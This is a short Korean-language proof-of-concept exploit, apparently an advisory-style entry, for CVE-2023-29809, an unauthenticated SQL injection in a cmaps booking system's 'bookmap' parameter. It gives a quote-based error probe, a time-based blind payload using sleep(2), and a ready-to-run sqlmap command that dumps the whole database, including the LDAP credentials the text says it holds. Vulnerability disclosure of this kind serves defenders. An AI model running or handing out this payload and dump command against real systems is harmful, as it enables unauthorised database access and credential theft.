
CVE-2023-29809에 대한 개념 증명 익스플로잇: cmaps 예약 시스템의 인증되지 않은 SQL 인젝션. 시간 기반 블라인드 인젝션을 시연하며 데이터베이스 추출을 위한 sqlmap 명령어를 제공합니다.
설명:
발견된 취약점은 SQL 인젝션입니다. bookmap 매개변수가 취약합니다. 페이지를 방문할 때: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test 정상적인 JSON 응답을 받습니다. 그러나 bookmap 매개변수의 값에 작은따옴표 하나를 추가하면 오류 메시지가 나타납니다:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
이제 작은따옴표 두 개를 추가하면 오류 없이 정상 응답을 받습니다. 이는 SQL 인젝션 가능성을 확인합니다. SQL 인젝션을 실제로 증명하기 위해 다음 페이로드를 추가합니다:
'-(select*from(select+sleep(2)+from+dual)a)--+
페이지가 2초 동안 지연됩니다. 이는 SQL 인젝션을 확인합니다.
재현 단계:
취약점을 테스트하기 위해 다음 페이로드를 전송합니다: '-(select*from(select+sleep(2)+from+dual)a)--+
사이트가 2초 동안 지연되었다면 다음 sqlmap 명령을 실행하여 LDAP 자격 증명을 포함한 전체 데이터베이스를 덤프합니다.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
환경 설정 및 페이로드 디버깅에 큰 도움을 준 iCaotix에게 특별한 감사를 전합니다.

응답 시간을 확인하세요.
